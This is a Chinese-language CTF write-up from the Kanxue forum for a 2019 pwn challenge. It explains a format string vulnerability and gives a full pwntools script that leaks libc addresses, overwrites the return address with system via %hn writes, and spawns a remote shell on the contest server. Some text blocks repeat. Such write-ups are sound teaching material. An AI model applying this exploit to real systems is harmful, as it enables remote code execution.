-
-
[原创]看雪CTF2019晋级赛Q2第三题
-
发表于: 2019-6-25 09:44 5021
-
Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
二、main函数
int __cdecl main(int argc, const char **argv, const char **envp) { int index; // eax char buf; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h] [ebp-Ch] int *v7; // [esp+8h] [ebp-8h] v7 = &argc; v6 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Welcome to kanxue 2019, your pwn like cxk"); do { while ( 1 ) { menu(); read(0, &buf, 4u); index = atoi(&buf); if ( index != 1 ) break; printf("What do tou want to say:"); read_input(echo, 0x18); printf(echo); puts((const char *)&unk_56556A97); } } while ( index != 2 ); return 0; }
可以看出如下语句存在格式化字符串漏洞
int __cdecl main(int argc, const char **argv, const char **envp) { int index; // eax char buf; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h] [ebp-Ch] int *v7; // [esp+8h] [ebp-8h] v7 = &argc; v6 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Welcome to kanxue 2019, your pwn like cxk"); do { while ( 1 ) { menu(); read(0, &buf, 4u); index = atoi(&buf); if ( index != 1 ) break; printf("What do tou want to say:"); read_input(echo, 0x18); printf(echo); puts((const char *)&unk_56556A97); } } while ( index != 2 ); return 0; }
可以看出如下语句存在格式化字符串漏洞
printf(echo);
printf(echo);
如上图,将栈地址0xFFEB879C改为system函数地址,此时system函数的参数地址应该为FFEB87A0栈地址,因此将
FFEB87A0内容改为全局变量echo地址,然后将'/bin/sh'输入到echo中,即可拿到shell。
三、跳板
观察printf时的栈的情况,并没有直接能够修改main函数的返回地址。因此需要找个跳板
FFB8D9F0 565B200C .bss:echo FFB8D9F4 00000018 FFB8D9F8 00000004 FFB8D9FC 565B08F3 main+6D FFB8DA00 00000001 FFB8DA04 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA08 FFB80A31 [stack]:FFB80A31 FFB8DA0C 16D67C00 FFB8DA10 FFB8DA30 [stack]:FFB8DA30 FFB8DA14 00000000 FFB8DA18 00000000 FFB8DA1C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA20 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA24 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA28 00000000 FFB8DA2C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA30 00000001 FFB8DA34 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA38 FFB8DACC [stack]:FFB8DACC
FFB8D9F0 565B200C .bss:echo FFB8D9F4 00000018 FFB8D9F8 00000004 FFB8D9FC 565B08F3 main+6D FFB8DA00 00000001 FFB8DA04 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA08 FFB80A31 [stack]:FFB80A31 FFB8DA0C 16D67C00 FFB8DA10 FFB8DA30 [stack]:FFB8DA30 FFB8DA14 00000000 FFB8DA18 00000000 FFB8DA1C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA20 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA24 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA28 00000000 FFB8DA2C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA30 00000001 FFB8DA34 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA38 FFB8DACC [stack]:FFB8DACC
四、获取l地址
从栈中分布情况可轻易获得模块地址值和libc地址,从而获得echo全局地址和sysytem函数地址。
五、脚本
# coding:utf-8 from pwn import * from zio import * g_libcBase = 0 g_bridgeStackAddr = 0 g_mainRetAddr = 0 g_systemFuncAddr=0 g_moudleBase = 0; g_ehcoAddr = 0 def choice(index): io.sendline(str(index)) p = io.recvuntil('What do tou want to say:') return p def say(str): io.sendline(str) sleep(1) p = io.recvuntil('Choice:') return p def GetAddrByString(str): choice(1) p=say(str) return int(p[2:10], 16) if __name__ == '__main__': #io = process('./format') io = remote('152.136.18.34', 9999) io.recvuntil('Choice:') #get addr g_bridgeStackAddr = GetAddrByString('%8$p') print 'g_bridgeStackAddr = ' + str(hex(g_bridgeStackAddr)) g_mainRetAddr = g_bridgeStackAddr - 4 print 'g_mainRetAddr = ' + str(hex(g_mainRetAddr)) g_libcBase = GetAddrByString('%15$p')- 0x18637 print 'g_libcBase = ' + str(hex(g_libcBase)) #g_systemFuncAddr = g_libcBase + 0x3ADA0 g_systemFuncAddr = g_libcBase + 0x3A940 print 'g_systemFuncAddr = ' + str(hex(g_systemFuncAddr)) g_moudleBase = GetAddrByString('%3$p') - 0x8f3 print 'g_moudleBase = ' + str(hex(g_moudleBase)) g_ehcoAddr = g_moudleBase + 0x200c print 'g_ehcoAddr = ' + str(hex(g_ehcoAddr)) #set system call pyload = '%.' + str(g_mainRetAddr&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_systemFuncAddr&0xffff) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str((g_mainRetAddr+2)&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_systemFuncAddr>>16) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) #set echo g_bridgeStackAddr = g_bridgeStackAddr + 4 pyload = '%.' + str(g_bridgeStackAddr&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_ehcoAddr&0xffff) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str((g_bridgeStackAddr+2)&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_ehcoAddr>>16) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) #set /bin/sh pyload = '/bin/sh' + p32(0) choice(1) say(pyload) print 'get shell' io.interactive()
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-6-25 10:05
被oooAooo编辑
,原因:
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5668
- [原创]看雪CTF2019Q3第四题WP 5934
- [原创]看雪CTF2019Q3 第二题WP 6760
- [2019看雪CTF晋级赛Q3第九题WP 12490
- [原创]看雪CTF2019晋级赛Q2第三题 5022
看原图
赞赏
雪币:
留言: